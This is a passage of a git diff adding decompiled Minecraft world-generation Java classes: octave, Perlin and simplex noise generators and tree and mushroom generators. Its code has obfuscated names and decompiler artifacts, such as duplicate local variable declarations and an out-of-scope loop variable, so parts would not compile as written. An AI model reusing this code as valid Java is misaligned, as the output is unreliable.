+            }
+            
+            double var58 = lerp(var56, var29, var31);
+            double var60 = lerp(var56, var33, var35);
+            double var62 = lerp(var49, var58, var60);
+            int var10001 = var19++;
+            p_76308_1_[var10001] += var62 * var20;
+          }
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/NoiseGeneratorOctaves.java b/src/minecraft/net/minecraft/world/gen/NoiseGeneratorOctaves.java
new file mode 100644
index 0000000..89f84f9
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/NoiseGeneratorOctaves.java
@@ -0,0 +1,73 @@
+package net.minecraft.world.gen;
+
+import java.util.Random;
+import net.minecraft.util.MathHelper;
+
+
+
+public class NoiseGeneratorOctaves
+  extends NoiseGenerator
+{
+  private NoiseGeneratorImproved[] generatorCollection;
+  private int octaves;
+  private static final String __OBFID = "CL_00000535";
+  
+  public NoiseGeneratorOctaves(Random p_i2111_1_, int p_i2111_2_)
+  {
+    octaves = p_i2111_2_;
+    generatorCollection = new NoiseGeneratorImproved[p_i2111_2_];
+    
+    for (int var3 = 0; var3 < p_i2111_2_; var3++)
+    {
+      generatorCollection[var3] = new NoiseGeneratorImproved(p_i2111_1_);
+    }
+  }
+  
+
+
+
+
+  public double[] generateNoiseOctaves(double[] p_76304_1_, int p_76304_2_, int p_76304_3_, int p_76304_4_, int p_76304_5_, int p_76304_6_, int p_76304_7_, double p_76304_8_, double p_76304_10_, double p_76304_12_)
+  {
+    if (p_76304_1_ == null)
+    {
+      p_76304_1_ = new double[p_76304_5_ * p_76304_6_ * p_76304_7_];
+    }
+    else
+    {
+      for (int var14 = 0; var14 < p_76304_1_.length; var14++)
+      {
+        p_76304_1_[var14] = 0.0D;
+      }
+    }
+    
+    double var27 = 1.0D;
+    
+    for (int var16 = 0; var16 < octaves; var16++)
+    {
+      double var17 = p_76304_2_ * var27 * p_76304_8_;
+      double var19 = p_76304_3_ * var27 * p_76304_10_;
+      double var21 = p_76304_4_ * var27 * p_76304_12_;
+      long var23 = MathHelper.floor_double_long(var17);
+      long var25 = MathHelper.floor_double_long(var21);
+      var17 -= var23;
+      var21 -= var25;
+      var23 %= 16777216L;
+      var25 %= 16777216L;
+      var17 += var23;
+      var21 += var25;
+      generatorCollection[var16].populateNoiseArray(p_76304_1_, var17, var19, var21, p_76304_5_, p_76304_6_, p_76304_7_, p_76304_8_ * var27, p_76304_10_ * var27, p_76304_12_ * var27, var27);
+      var27 /= 2.0D;
+    }
+    
+    return p_76304_1_;
+  }
+  
+
+
+
+  public double[] generateNoiseOctaves(double[] p_76305_1_, int p_76305_2_, int p_76305_3_, int p_76305_4_, int p_76305_5_, double p_76305_6_, double p_76305_8_, double p_76305_10_)
+  {
+    return generateNoiseOctaves(p_76305_1_, p_76305_2_, 10, p_76305_3_, p_76305_4_, 1, p_76305_5_, p_76305_6_, 1.0D, p_76305_8_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/NoiseGeneratorPerlin.java b/src/minecraft/net/minecraft/world/gen/NoiseGeneratorPerlin.java
new file mode 100644
index 0000000..5d72f1a
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/NoiseGeneratorPerlin.java
@@ -0,0 +1,67 @@
+package net.minecraft.world.gen;
+
+import java.util.Random;
+
+public class NoiseGeneratorPerlin extends NoiseGenerator
+{
+  private NoiseGeneratorSimplex[] field_151603_a;
+  private int field_151602_b;
+  private static final String __OBFID = "CL_00000536";
+  
+  public NoiseGeneratorPerlin(Random p_i45470_1_, int p_i45470_2_)
+  {
+    field_151602_b = p_i45470_2_;
+    field_151603_a = new NoiseGeneratorSimplex[p_i45470_2_];
+    
+    for (int var3 = 0; var3 < p_i45470_2_; var3++)
+    {
+      field_151603_a[var3] = new NoiseGeneratorSimplex(p_i45470_1_);
+    }
+  }
+  
+  public double func_151601_a(double p_151601_1_, double p_151601_3_)
+  {
+    double var5 = 0.0D;
+    double var7 = 1.0D;
+    
+    for (int var9 = 0; var9 < field_151602_b; var9++)
+    {
+      var5 += field_151603_a[var9].func_151605_a(p_151601_1_ * var7, p_151601_3_ * var7) / var7;
+      var7 /= 2.0D;
+    }
+    
+    return var5;
+  }
+  
+  public double[] func_151599_a(double[] p_151599_1_, double p_151599_2_, double p_151599_4_, int p_151599_6_, int p_151599_7_, double p_151599_8_, double p_151599_10_, double p_151599_12_)
+  {
+    return func_151600_a(p_151599_1_, p_151599_2_, p_151599_4_, p_151599_6_, p_151599_7_, p_151599_8_, p_151599_10_, p_151599_12_, 0.5D);
+  }
+  
+  public double[] func_151600_a(double[] p_151600_1_, double p_151600_2_, double p_151600_4_, int p_151600_6_, int p_151600_7_, double p_151600_8_, double p_151600_10_, double p_151600_12_, double p_151600_14_)
+  {
+    if ((p_151600_1_ != null) && (p_151600_1_.length >= p_151600_6_ * p_151600_7_))
+    {
+      for (int var16 = 0; var16 < p_151600_1_.length; var16++)
+      {
+        p_151600_1_[var16] = 0.0D;
+      }
+      
+    }
+    else {
+      p_151600_1_ = new double[p_151600_6_ * p_151600_7_];
+    }
+    
+    double var21 = 1.0D;
+    double var18 = 1.0D;
+    
+    for (int var20 = 0; var20 < field_151602_b; var20++)
+    {
+      field_151603_a[var20].func_151606_a(p_151600_1_, p_151600_2_, p_151600_4_, p_151600_6_, p_151600_7_, p_151600_8_ * var18 * var21, p_151600_10_ * var18 * var21, 0.55D / var21);
+      var18 *= p_151600_12_;
+      var21 *= p_151600_14_;
+    }
+    
+    return p_151600_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/NoiseGeneratorSimplex.java b/src/minecraft/net/minecraft/world/gen/NoiseGeneratorSimplex.java
new file mode 100644
index 0000000..745871a
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/NoiseGeneratorSimplex.java
@@ -0,0 +1,218 @@
+package net.minecraft.world.gen;
+
+import java.util.Random;
+
+public class NoiseGeneratorSimplex
+{
+  private static int[][] field_151611_e = { { 1, 1 }, { -1, 1 }, { 1, -1 }, { -1, -1 }, { 1, 0, 1 }, { -1, 0, 1 }, { 1, 0, -1 }, { -1, 0, -1 }, { 0, 1, 1 }, { 0, -1, 1 }, { 0, 1, -1 }, { 0, -1, -1 } };
+  public static final double field_151614_a = Math.sqrt(3.0D);
+  private int[] field_151608_f;
+  public double field_151612_b;
+  public double field_151613_c;
+  public double field_151610_d;
+  private static final double field_151609_g = 0.5D * (field_151614_a - 1.0D);
+  private static final double field_151615_h = (3.0D - field_151614_a) / 6.0D;
+  private static final String __OBFID = "CL_00000537";
+  
+  public NoiseGeneratorSimplex()
+  {
+    this(new Random());
+  }
+  
+  public NoiseGeneratorSimplex(Random p_i45471_1_)
+  {
+    field_151608_f = new int['Ȁ'];
+    field_151612_b = (p_i45471_1_.nextDouble() * 256.0D);
+    field_151613_c = (p_i45471_1_.nextDouble() * 256.0D);
+    field_151610_d = (p_i45471_1_.nextDouble() * 256.0D);
+    
+
+    for (int var2 = 0; var2 < 256; field_151608_f[var2] = (var2++)) {}
+    
+
+
+
+    for (var2 = 0; var2 < 256; var2++)
+    {
+      int var3 = p_i45471_1_.nextInt(256 - var2) + var2;
+      int var4 = field_151608_f[var2];
+      field_151608_f[var2] = field_151608_f[var3];
+      field_151608_f[var3] = var4;
+      field_151608_f[(var2 + 256)] = field_151608_f[var2];
+    }
+  }
+  
+  private static int func_151607_a(double p_151607_0_)
+  {
+    return p_151607_0_ > 0.0D ? (int)p_151607_0_ : (int)p_151607_0_ - 1;
+  }
+  
+  private static double func_151604_a(int[] p_151604_0_, double p_151604_1_, double p_151604_3_)
+  {
+    return p_151604_0_[0] * p_151604_1_ + p_151604_0_[1] * p_151604_3_;
+  }
+  
+  public double func_151605_a(double p_151605_1_, double p_151605_3_)
+  {
+    double var11 = 0.5D * (field_151614_a - 1.0D);
+    double var13 = (p_151605_1_ + p_151605_3_) * var11;
+    int var15 = func_151607_a(p_151605_1_ + var13);
+    int var16 = func_151607_a(p_151605_3_ + var13);
+    double var17 = (3.0D - field_151614_a) / 6.0D;
+    double var19 = (var15 + var16) * var17;
+    double var21 = var15 - var19;
+    double var23 = var16 - var19;
+    double var25 = p_151605_1_ - var21;
+    double var27 = p_151605_3_ - var23;
+    byte var30;
+    byte var29;
+    byte var30;
+    if (var25 > var27)
+    {
+      byte var29 = 1;
+      var30 = 0;
+    }
+    else
+    {
+      var29 = 0;
+      var30 = 1;
+    }
+    
+    double var31 = var25 - var29 + var17;
+    double var33 = var27 - var30 + var17;
+    double var35 = var25 - 1.0D + 2.0D * var17;
+    double var37 = var27 - 1.0D + 2.0D * var17;
+    int var39 = var15 & 0xFF;
+    int var40 = var16 & 0xFF;
+    int var41 = field_151608_f[(var39 + field_151608_f[var40])] % 12;
+    int var42 = field_151608_f[(var39 + var29 + field_151608_f[(var40 + var30)])] % 12;
+    int var43 = field_151608_f[(var39 + 1 + field_151608_f[(var40 + 1)])] % 12;
+    double var44 = 0.5D - var25 * var25 - var27 * var27;
+    double var5;
+    double var5;
+    if (var44 < 0.0D)
+    {
+      var5 = 0.0D;
+    }
+    else
+    {
+      var44 *= var44;
+      var5 = var44 * var44 * func_151604_a(field_151611_e[var41], var25, var27);
+    }
+    
+    double var46 = 0.5D - var31 * var31 - var33 * var33;
+    double var7;
+    double var7;
+    if (var46 < 0.0D)
+    {
+      var7 = 0.0D;
+    }
+    else
+    {
+      var46 *= var46;
+      var7 = var46 * var46 * func_151604_a(field_151611_e[var42], var31, var33);
+    }
+    
+    double var48 = 0.5D - var35 * var35 - var37 * var37;
+    double var9;
+    double var9;
+    if (var48 < 0.0D)
+    {
+      var9 = 0.0D;
+    }
+    else
+    {
+      var48 *= var48;
+      var9 = var48 * var48 * func_151604_a(field_151611_e[var43], var35, var37);
+    }
+    
+    return 70.0D * (var5 + var7 + var9);
+  }
+  
+  public void func_151606_a(double[] p_151606_1_, double p_151606_2_, double p_151606_4_, int p_151606_6_, int p_151606_7_, double p_151606_8_, double p_151606_10_, double p_151606_12_)
+  {
+    int var14 = 0;
+    
+    for (int var15 = 0; var15 < p_151606_7_; var15++)
+    {
+      double var16 = (p_151606_4_ + var15) * p_151606_10_ + field_151613_c;
+      
+      for (int var18 = 0; var18 < p_151606_6_; var18++)
+      {
+        double var19 = (p_151606_2_ + var18) * p_151606_8_ + field_151612_b;
+        double var27 = (var19 + var16) * field_151609_g;
+        int var29 = func_151607_a(var19 + var27);
+        int var30 = func_151607_a(var16 + var27);
+        double var31 = (var29 + var30) * field_151615_h;
+        double var33 = var29 - var31;
+        double var35 = var30 - var31;
+        double var37 = var19 - var33;
+        double var39 = var16 - var35;
+        byte var42;
+        byte var41;
+        byte var42;
+        if (var37 > var39)
+        {
+          byte var41 = 1;
+          var42 = 0;
+        }
+        else
+        {
+          var41 = 0;
+          var42 = 1;
+        }
+        
+        double var43 = var37 - var41 + field_151615_h;
+        double var45 = var39 - var42 + field_151615_h;
+        double var47 = var37 - 1.0D + 2.0D * field_151615_h;
+        double var49 = var39 - 1.0D + 2.0D * field_151615_h;
+        int var51 = var29 & 0xFF;
+        int var52 = var30 & 0xFF;
+        int var53 = field_151608_f[(var51 + field_151608_f[var52])] % 12;
+        int var54 = field_151608_f[(var51 + var41 + field_151608_f[(var52 + var42)])] % 12;
+        int var55 = field_151608_f[(var51 + 1 + field_151608_f[(var52 + 1)])] % 12;
+        double var56 = 0.5D - var37 * var37 - var39 * var39;
+        double var21;
+        double var21;
+        if (var56 < 0.0D)
+        {
+          var21 = 0.0D;
+        }
+        else
+        {
+          var56 *= var56;
+          var21 = var56 * var56 * func_151604_a(field_151611_e[var53], var37, var39);
+        }
+        
+        double var58 = 0.5D - var43 * var43 - var45 * var45;
+        double var23;
+        double var23;
+        if (var58 < 0.0D)
+        {
+          var23 = 0.0D;
+        }
+        else
+        {
+          var58 *= var58;
+          var23 = var58 * var58 * func_151604_a(field_151611_e[var54], var43, var45);
+        }
+        
+        double var60 = 0.5D - var47 * var47 - var49 * var49;
+        double var25;
+        double var25;
+        if (var60 < 0.0D)
+        {
+          var25 = 0.0D;
+        }
+        else
+        {
+          var60 *= var60;
+          var25 = var60 * var60 * func_151604_a(field_151611_e[var55], var47, var49);
+        }
+        
+        int var10001 = var14++;
+        p_151606_1_[var10001] += 70.0D * (var21 + var23 + var25) * p_151606_12_;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenAbstractTree.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenAbstractTree.java
new file mode 100644
index 0000000..cdf3cc2
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenAbstractTree.java
@@ -0,0 +1,33 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public abstract class WorldGenAbstractTree extends WorldGenerator
+{
+  private static final String __OBFID = "CL_00000399";
+  
+  public WorldGenAbstractTree(boolean p_i45448_1_)
+  {
+    super(p_i45448_1_);
+  }
+  
+  protected boolean func_150523_a(Block p_150523_1_)
+  {
+    return (p_150523_1_.getMaterial() == Material.air) || (p_150523_1_.getMaterial() == Material.leaves) || (p_150523_1_ == Blocks.grass) || (p_150523_1_ == Blocks.dirt) || (p_150523_1_ == Blocks.log) || (p_150523_1_ == Blocks.log2) || (p_150523_1_ == Blocks.sapling) || (p_150523_1_ == Blocks.vine);
+  }
+  
+  public void func_180711_a(World worldIn, Random p_180711_2_, BlockPos p_180711_3_) {}
+  
+  protected void func_175921_a(World worldIn, BlockPos p_175921_2_)
+  {
+    if (worldIn.getBlockState(p_175921_2_).getBlock() != Blocks.dirt)
+    {
+      func_175903_a(worldIn, p_175921_2_, Blocks.dirt.getDefaultState());
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenBigMushroom.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenBigMushroom.java
new file mode 100644
index 0000000..e26504e
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenBigMushroom.java
@@ -0,0 +1,219 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenBigMushroom extends WorldGenerator
+{
+  private int mushroomType = -1;
+  private static final String __OBFID = "CL_00000415";
+  
+  public WorldGenBigMushroom(int p_i2017_1_)
+  {
+    super(true);
+    mushroomType = p_i2017_1_;
+  }
+  
+  public WorldGenBigMushroom()
+  {
+    super(false);
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    int var4 = p_180709_2_.nextInt(2);
+    
+    if (mushroomType >= 0)
+    {
+      var4 = mushroomType;
+    }
+    
+    int var5 = p_180709_2_.nextInt(3) + 4;
+    boolean var6 = true;
+    
+    if ((p_180709_3_.getY() >= 1) && (p_180709_3_.getY() + var5 + 1 < 256))
+    {
+
+
+
+      for (int var7 = p_180709_3_.getY(); var7 <= p_180709_3_.getY() + 1 + var5; var7++)
+      {
+        byte var8 = 3;
+        
+        if (var7 <= p_180709_3_.getY() + 3)
+        {
+          var8 = 0;
+        }
+        
+        for (int var9 = p_180709_3_.getX() - var8; (var9 <= p_180709_3_.getX() + var8) && (var6); var9++)
+        {
+          for (int var10 = p_180709_3_.getZ() - var8; (var10 <= p_180709_3_.getZ() + var8) && (var6); var10++)
+          {
+            if ((var7 >= 0) && (var7 < 256))
+            {
+              Block var11 = worldIn.getBlockState(new BlockPos(var9, var7, var10)).getBlock();
+              
+              if ((var11.getMaterial() != Material.air) && (var11.getMaterial() != Material.leaves))
+              {
+                var6 = false;
+              }
+            }
+            else
+            {
+              var6 = false;
+            }
+          }
+        }
+      }
+      
+      if (!var6)
+      {
+        return false;
+      }
+      
+
+      Block var15 = worldIn.getBlockState(p_180709_3_.offsetDown()).getBlock();
+      
+      if ((var15 != Blocks.dirt) && (var15 != Blocks.grass) && (var15 != Blocks.mycelium))
+      {
+        return false;
+      }
+      
+
+      int var16 = p_180709_3_.getY() + var5;
+      
+      if (var4 == 1)
+      {
+        var16 = p_180709_3_.getY() + var5 - 3;
+      }
+      
+      for (int var9 = var16; var9 <= p_180709_3_.getY() + var5; var9++)
+      {
+        int var10 = 1;
+        
+        if (var9 < p_180709_3_.getY() + var5)
+        {
+          var10++;
+        }
+        
+        if (var4 == 0)
+        {
+          var10 = 3;
+        }
+        
+        for (int var18 = p_180709_3_.getX() - var10; var18 <= p_180709_3_.getX() + var10; var18++)
+        {
+          for (int var12 = p_180709_3_.getZ() - var10; var12 <= p_180709_3_.getZ() + var10; var12++)
+          {
+            int var13 = 5;
+            
+            if (var18 == p_180709_3_.getX() - var10)
+            {
+              var13--;
+            }
+            
+            if (var18 == p_180709_3_.getX() + var10)
+            {
+              var13++;
+            }
+            
+            if (var12 == p_180709_3_.getZ() - var10)
+            {
+              var13 -= 3;
+            }
+            
+            if (var12 == p_180709_3_.getZ() + var10)
+            {
+              var13 += 3;
+            }
+            
+            if ((var4 == 0) || (var9 < p_180709_3_.getY() + var5))
+            {
+              if (((var18 == p_180709_3_.getX() - var10) || (var18 == p_180709_3_.getX() + var10)) && ((var12 == p_180709_3_.getZ() - var10) || (var12 == p_180709_3_.getZ() + var10))) {
+                continue;
+              }
+              
+
+              if ((var18 == p_180709_3_.getX() - (var10 - 1)) && (var12 == p_180709_3_.getZ() - var10))
+              {
+                var13 = 1;
+              }
+              
+              if ((var18 == p_180709_3_.getX() - var10) && (var12 == p_180709_3_.getZ() - (var10 - 1)))
+              {
+                var13 = 1;
+              }
+              
+              if ((var18 == p_180709_3_.getX() + (var10 - 1)) && (var12 == p_180709_3_.getZ() - var10))
+              {
+                var13 = 3;
+              }
+              
+              if ((var18 == p_180709_3_.getX() + var10) && (var12 == p_180709_3_.getZ() - (var10 - 1)))
+              {
+                var13 = 3;
+              }
+              
+              if ((var18 == p_180709_3_.getX() - (var10 - 1)) && (var12 == p_180709_3_.getZ() + var10))
+              {
+                var13 = 7;
+              }
+              
+              if ((var18 == p_180709_3_.getX() - var10) && (var12 == p_180709_3_.getZ() + (var10 - 1)))
+              {
+                var13 = 7;
+              }
+              
+              if ((var18 == p_180709_3_.getX() + (var10 - 1)) && (var12 == p_180709_3_.getZ() + var10))
+              {
+                var13 = 9;
+              }
+              
+              if ((var18 == p_180709_3_.getX() + var10) && (var12 == p_180709_3_.getZ() + (var10 - 1)))
+              {
+                var13 = 9;
+              }
+            }
+            
+            if ((var13 == 5) && (var9 < p_180709_3_.getY() + var5))
+            {
+              var13 = 0;
+            }
+            
+            if ((var13 != 0) || (p_180709_3_.getY() >= p_180709_3_.getY() + var5 - 1))
+            {
+              BlockPos var14 = new BlockPos(var18, var9, var12);
+              
+              if (!worldIn.getBlockState(var14).getBlock().isFullBlock())
+              {
+                func_175905_a(worldIn, var14, Block.getBlockById(Block.getIdFromBlock(Blocks.brown_mushroom_block) + var4), var13);
+              }
+            }
+          }
+        }
+      }
+      
+      for (var9 = 0; var9 < var5; var9++)
+      {
+        Block var17 = worldIn.getBlockState(p_180709_3_.offsetUp(var9)).getBlock();
+        
+        if (!var17.isFullBlock())
+        {
+          func_175905_a(worldIn, p_180709_3_.offsetUp(var9), Block.getBlockById(Block.getIdFromBlock(Blocks.brown_mushroom_block) + var4), 10);
+        }
+      }
+      
+      return true;
+    }
+    
+
+
+
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenBigTree.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenBigTree.java
new file mode 100644
index 0000000..df4af53
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenBigTree.java
@@ -0,0 +1,372 @@
+package net.minecraft.world.gen.feature;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockLog;
+import net.minecraft.block.BlockLog.EnumAxis;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+
+public class WorldGenBigTree
+  extends WorldGenAbstractTree
+{
+  private Random field_175949_k;
+  private World field_175946_l;
+  private BlockPos field_175947_m;
+  int heightLimit;
+  int height;
+  double heightAttenuation;
+  double field_175944_d;
+  double field_175945_e;
+  double leafDensity;
+  int field_175943_g;
+  int field_175950_h;
+  int leafDistanceLimit;
+  List field_175948_j;
+  private static final String __OBFID = "CL_00000400";
+  
+  public WorldGenBigTree(boolean p_i2008_1_)
+  {
+    super(p_i2008_1_);
+    field_175947_m = BlockPos.ORIGIN;
+    heightAttenuation = 0.618D;
+    field_175944_d = 0.381D;
+    field_175945_e = 1.0D;
+    leafDensity = 1.0D;
+    field_175943_g = 1;
+    field_175950_h = 12;
+    leafDistanceLimit = 4;
+  }
+  
+
+
+
+  void generateLeafNodeList()
+  {
+    height = ((int)(heightLimit * heightAttenuation));
+    
+    if (height >= heightLimit)
+    {
+      height = (heightLimit - 1);
+    }
+    
+    int var1 = (int)(1.382D + Math.pow(leafDensity * heightLimit / 13.0D, 2.0D));
+    
+    if (var1 < 1)
+    {
+      var1 = 1;
+    }
+    
+    int var2 = field_175947_m.getY() + height;
+    int var3 = heightLimit - leafDistanceLimit;
+    field_175948_j = Lists.newArrayList();
+    field_175948_j.add(new FoliageCoordinates(field_175947_m.offsetUp(var3), var2));
+    for (; 
+        var3 >= 0; var3--)
+    {
+      float var4 = layerSize(var3);
+      
+      if (var4 >= 0.0F)
+      {
+        for (int var5 = 0; var5 < var1; var5++)
+        {
+          double var6 = field_175945_e * var4 * (field_175949_k.nextFloat() + 0.328D);
+          double var8 = field_175949_k.nextFloat() * 2.0F * 3.141592653589793D;
+          double var10 = var6 * Math.sin(var8) + 0.5D;
+          double var12 = var6 * Math.cos(var8) + 0.5D;
+          BlockPos var14 = field_175947_m.add(var10, var3 - 1, var12);
+          BlockPos var15 = var14.offsetUp(leafDistanceLimit);
+          
+          if (func_175936_a(var14, var15) == -1)
+          {
+            int var16 = field_175947_m.getX() - var14.getX();
+            int var17 = field_175947_m.getZ() - var14.getZ();
+            double var18 = var14.getY() - Math.sqrt(var16 * var16 + var17 * var17) * field_175944_d;
+            int var20 = var18 > var2 ? var2 : (int)var18;
+            BlockPos var21 = new BlockPos(field_175947_m.getX(), var20, field_175947_m.getZ());
+            
+            if (func_175936_a(var21, var14) == -1)
+            {
+              field_175948_j.add(new FoliageCoordinates(var14, var21.getY()));
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  void func_180712_a(BlockPos p_180712_1_, float p_180712_2_, Block p_180712_3_)
+  {
+    int var4 = (int)(p_180712_2_ + 0.618D);
+    
+    for (int var5 = -var4; var5 <= var4; var5++)
+    {
+      for (int var6 = -var4; var6 <= var4; var6++)
+      {
+        if (Math.pow(Math.abs(var5) + 0.5D, 2.0D) + Math.pow(Math.abs(var6) + 0.5D, 2.0D) <= p_180712_2_ * p_180712_2_)
+        {
+          BlockPos var7 = p_180712_1_.add(var5, 0, var6);
+          Material var8 = field_175946_l.getBlockState(var7).getBlock().getMaterial();
+          
+          if ((var8 == Material.air) || (var8 == Material.leaves))
+          {
+            func_175905_a(field_175946_l, var7, p_180712_3_, 0);
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+  float layerSize(int p_76490_1_)
+  {
+    if (p_76490_1_ < heightLimit * 0.3F)
+    {
+      return -1.0F;
+    }
+    
+
+    float var2 = heightLimit / 2.0F;
+    float var3 = var2 - p_76490_1_;
+    float var4 = MathHelper.sqrt_float(var2 * var2 - var3 * var3);
+    
+    if (var3 == 0.0F)
+    {
+      var4 = var2;
+    }
+    else if (Math.abs(var3) >= var2)
+    {
+      return 0.0F;
+    }
+    
+    return var4 * 0.5F;
+  }
+  
+
+  float leafSize(int p_76495_1_)
+  {
+    return (p_76495_1_ >= 0) && (p_76495_1_ < leafDistanceLimit) ? 2.0F : (p_76495_1_ != 0) && (p_76495_1_ != leafDistanceLimit - 1) ? 3.0F : -1.0F;
+  }
+  
+  void func_175940_a(BlockPos p_175940_1_)
+  {
+    for (int var2 = 0; var2 < leafDistanceLimit; var2++)
+    {
+      func_180712_a(p_175940_1_.offsetUp(var2), leafSize(var2), Blocks.leaves);
+    }
+  }
+  
+  void func_175937_a(BlockPos p_175937_1_, BlockPos p_175937_2_, Block p_175937_3_)
+  {
+    BlockPos var4 = p_175937_2_.add(-p_175937_1_.getX(), -p_175937_1_.getY(), -p_175937_1_.getZ());
+    int var5 = func_175935_b(var4);
+    float var6 = var4.getX() / var5;
+    float var7 = var4.getY() / var5;
+    float var8 = var4.getZ() / var5;
+    
+    for (int var9 = 0; var9 <= var5; var9++)
+    {
+      BlockPos var10 = p_175937_1_.add(0.5F + var9 * var6, 0.5F + var9 * var7, 0.5F + var9 * var8);
+      BlockLog.EnumAxis var11 = func_175938_b(p_175937_1_, var10);
+      func_175903_a(field_175946_l, var10, p_175937_3_.getDefaultState().withProperty(BlockLog.AXIS_PROP, var11));
+    }
+  }
+  
+  private int func_175935_b(BlockPos p_175935_1_)
+  {
+    int var2 = MathHelper.abs_int(p_175935_1_.getX());
+    int var3 = MathHelper.abs_int(p_175935_1_.getY());
+    int var4 = MathHelper.abs_int(p_175935_1_.getZ());
+    return var3 > var2 ? var3 : (var4 > var2) && (var4 > var3) ? var4 : var2;
+  }
+  
+  private BlockLog.EnumAxis func_175938_b(BlockPos p_175938_1_, BlockPos p_175938_2_)
+  {
+    BlockLog.EnumAxis var3 = BlockLog.EnumAxis.Y;
+    int var4 = Math.abs(p_175938_2_.getX() - p_175938_1_.getX());
+    int var5 = Math.abs(p_175938_2_.getZ() - p_175938_1_.getZ());
+    int var6 = Math.max(var4, var5);
+    
+    if (var6 > 0)
+    {
+      if (var4 == var6)
+      {
+        var3 = BlockLog.EnumAxis.X;
+      }
+      else if (var5 == var6)
+      {
+        var3 = BlockLog.EnumAxis.Z;
+      }
+    }
+    
+    return var3;
+  }
+  
+  void func_175941_b()
+  {
+    Iterator var1 = field_175948_j.iterator();
+    
+    while (var1.hasNext())
+    {
+      FoliageCoordinates var2 = (FoliageCoordinates)var1.next();
+      func_175940_a(var2);
+    }
+  }
+  
+
+
+
+  boolean leafNodeNeedsBase(int p_76493_1_)
+  {
+    return p_76493_1_ >= heightLimit * 0.2D;
+  }
+  
+  void func_175942_c()
+  {
+    BlockPos var1 = field_175947_m;
+    BlockPos var2 = field_175947_m.offsetUp(height);
+    Block var3 = Blocks.log;
+    func_175937_a(var1, var2, var3);
+    
+    if (field_175943_g == 2)
+    {
+      func_175937_a(var1.offsetEast(), var2.offsetEast(), var3);
+      func_175937_a(var1.offsetEast().offsetSouth(), var2.offsetEast().offsetSouth(), var3);
+      func_175937_a(var1.offsetSouth(), var2.offsetSouth(), var3);
+    }
+  }
+  
+  void func_175939_d()
+  {
+    Iterator var1 = field_175948_j.iterator();
+    
+    while (var1.hasNext())
+    {
+      FoliageCoordinates var2 = (FoliageCoordinates)var1.next();
+      int var3 = var2.func_177999_q();
+      BlockPos var4 = new BlockPos(field_175947_m.getX(), var3, field_175947_m.getZ());
+      
+      if (leafNodeNeedsBase(var3 - field_175947_m.getY()))
+      {
+        func_175937_a(var4, var2, Blocks.log);
+      }
+    }
+  }
+  
+  int func_175936_a(BlockPos p_175936_1_, BlockPos p_175936_2_)
+  {
+    BlockPos var3 = p_175936_2_.add(-p_175936_1_.getX(), -p_175936_1_.getY(), -p_175936_1_.getZ());
+    int var4 = func_175935_b(var3);
+    float var5 = var3.getX() / var4;
+    float var6 = var3.getY() / var4;
+    float var7 = var3.getZ() / var4;
+    
+    if (var4 == 0)
+    {
+      return -1;
+    }
+    
+
+    for (int var8 = 0; var8 <= var4; var8++)
+    {
+      BlockPos var9 = p_175936_1_.add(0.5F + var8 * var5, 0.5F + var8 * var6, 0.5F + var8 * var7);
+      
+      if (!func_150523_a(field_175946_l.getBlockState(var9).getBlock()))
+      {
+        return var8;
+      }
+    }
+    
+    return -1;
+  }
+  
+
+  public void func_175904_e()
+  {
+    leafDistanceLimit = 5;
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    field_175946_l = worldIn;
+    field_175947_m = p_180709_3_;
+    field_175949_k = new Random(p_180709_2_.nextLong());
+    
+    if (heightLimit == 0)
+    {
+      heightLimit = (5 + field_175949_k.nextInt(field_175950_h));
+    }
+    
+    if (!validTreeLocation())
+    {
+      return false;
+    }
+    
+
+    generateLeafNodeList();
+    func_175941_b();
+    func_175942_c();
+    func_175939_d();
+    return true;
+  }
+  
+
+
+
+
+
+  private boolean validTreeLocation()
+  {
+    Block var1 = field_175946_l.getBlockState(field_175947_m.offsetDown()).getBlock();
+    
+    if ((var1 != Blocks.dirt) && (var1 != Blocks.grass) && (var1 != Blocks.farmland))
+    {
+      return false;
+    }
+    
+
+    int var2 = func_175936_a(field_175947_m, field_175947_m.offsetUp(heightLimit - 1));
+    
+    if (var2 == -1)
+    {
+      return true;
+    }
+    if (var2 < 6)
+    {
+      return false;
+    }
+    
+
+    heightLimit = var2;
+    return true;
+  }
+  
+
+  static class FoliageCoordinates
+    extends BlockPos
+  {
+    private final int field_178000_b;
+    private static final String __OBFID = "CL_00002001";
+    
+    public FoliageCoordinates(BlockPos p_i45635_1_, int p_i45635_2_)
+    {
